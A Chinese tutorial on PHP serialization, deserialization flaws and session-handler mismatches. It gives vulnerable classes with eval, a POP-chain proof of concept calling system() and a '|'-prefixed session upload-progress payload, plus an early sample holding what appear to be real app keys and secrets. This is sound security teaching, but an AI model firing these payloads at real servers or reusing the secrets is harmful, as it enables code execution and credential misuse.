Php序列化与反序列化

概念

serialize() 函数,把复杂的数据类型压缩到一个字符串中,把变量和它们的值编码成文本形式,这有利于存储或传递 PHP 的值,同时不丢失其类型和结构
unserialize() 函数对单一的已序列化的变量进行操作,将其转换回 PHP 的值
例:

$stooges = array('Moe','Larry','Curly');
$new = serialize($stooges);
print_r($new);echo "<br />";
print_r(unserialize($new));

结果:a:3:{i:0;s:3:”Moe”;i:1;s:5:”Larry”;i:2;s:5:”Curly”;}

Array ( [0] => Moe [1] => Larry [2] => Curly )

a表示array;i表示int;s表示string,汉字单位3,字母及数字单位1;b表示布尔

例:

<?php
    $asd='a:3{s:7:"app_key";s:9:"101246651";s:10:"app_secret";s:32:"d0bf4565ed029bcd7f979f0c56321a10";s:7:"app_url";s:48:"http://www.5188zc.com/api_callback.php?c=Tencent";}';
    print_r($asd);
    echo "<br/>";
    $asd=unserialize($asd);
    echo $asd['app_key'];
    echo "<br/>";
    echo $asd['app_secret'];
    echo "<br/>";
    echo $asd['app_url'];
    echo "<br/>";
    $asd=serialize($asd);
    print_r($asd);
?>

注意:

当数组值包含如双引号、单引号或冒号等字符时,它们被反序列化后,可能会出现问题。为了克服这个问题,一个巧妙的技巧是使用base64_encode和base64_decode。

$obj = array();
//序列化
$s = base64_encode(serialize($obj));
//反序列化
$original = unserialize(base64_decode($s));

但是base64编码将增加字符串的长度。为了克服这个问题,可以和gzcompress一起使用。

//定义一个用来序列化对象的函数
function my_serialize($obj) {
  return base64_encode(gzcompress(serialize($obj)));
}
//反序列化
function my_unserialize($txt) {
   return unserialize(gzuncompress(base64_decode($txt)));
}

漏洞种类

一是将传来的序列化数据直接unserilize,造成魔幻函数的执行。这种情况在一般的应用中依然屡见不鲜。 二是PHP Session 序列化及反序列化处理器设置使用不当会带来的安全隐患。 http://drops.wooyun.org/tips/3909?utm_source=tuicool&utm_medium=referral ryat牛讲得很明白了。PHP 内置了多种处理器用于存取 _SESSION 数据时会对数据进行序列化和反序列化。

处理器                                  对应的存储格式
php                                    键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary                             键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4)             经过 serialize() 函数反序列处理的数组
关键点在于,如果脚本中设置的序列化处理器与php.ini设置的不同,或者两个脚本注册session使用的序列化处理器不同,那么就会出现安全问题。 原因是未正确处理\\’|\\’,如果以php_serilize方式存入,比如我们构造出”|” 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据(\\’|\\’之前当作键名,\\’|\\’之后当作键值)。 (L.N.: php5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session)。 那么我们通过什么方式将数据注入到session中呢? 一方面,开发者本身将用户可控的数据传进了session,比如joomla等; 另一方面,可通过配置不当可造成session被控。当session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在_SESSION中。详情见https://bugs.php.net/bug.php?id=71101 难点在于构造出pop链达到自己想要的结果。跟rop链相同,现在已经有人在研究如何自动化构造出pop链,并取得了一些成效。

实例

//index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>
跟phpinfo中显示出的配置文件(php_serialize)相比,对session序列化处理器是不一样的。 由于session.auto_start是打开的,所以它会先以php_serilize序列化方式存入,但在读取时却是以php序列化的方式,我们可以注入\’|\’,来使得后面任意伪造的序列化字符串,以此来利用反序列化漏洞。

//class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}

?>
写的很清晰,比起joomla的远程代码执行漏洞不知简单多少。 一环扣一环,foo3的execute函数中存在eval危险函数,foo2又调用了execute,foo1又有echo使得foo2的魔幻函数得以执行。如下poc:
<?php
class foo3{
        public $varr;
        function __construct(){
                $this->varr = 'system(\'ls\');';
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1';
                $this->obj = new foo3();
        }
}

class  foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}

echo serialize(new foo1());
?>
但关键的问题来了,用户的输入点在哪,怎样触发。仔细查看给出的phpinfo配置文件,发现了 session.upload_progress.enabled打开,并且session.upload_progress.cleanup关闭。这就 极大提高了漏洞的利用成功率。如果此选项session.upload_progress.cleanup打开,那么在利用时攻击者需要上传large and crash文件,来使得我们传入的data得以执行。 于是后面的操作为写一表单:

选择文件 提交 抓包将ryat后增加

| O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:13:"system(\\'ls\\');";}}}
title

其它

还有种情况就是单纯地伪造数据,不利用魔幻函数,而是利用之后对序列化数据的处理来达到恶意效果。比如0ctf的唯一代码审计题。
懒得去找源码,就凭印象简单说下思路,里面有三个考点:
1. 用数组绕过正则;
2. 可控一部分反序列化数据,导致后面执行的指定文件读取变为了任意文件读取;
3. 由于可控部分还需考虑后面的单位,相当于伪造两个值,但之前的计算长度会增大。所以跟踪控制流,发现可巧妙利用过滤函数来增加长度。
我们这里只重点说第二部分,对于可控的一些反序列化数据能干嘛?
除了根据反序列化的性质外,更通用的是观察后面对此数据的敏感操作,如果有文件读取,删除等敏感操作,那么我们可以伪造从而达到任意操纵文件的效果。 可也会出现上面的情况,长度已定,后面还需不需要伪造数据,如果要,则跟踪控制流能否来解决长度等问题。当然,对于json或其它的存取格式也是这个道 理,而不是仅仅局限于反序列化的特性了。
反序列化的基本知识就这么多,如果还有猥琐好玩的利用,也欢迎大家分享出来。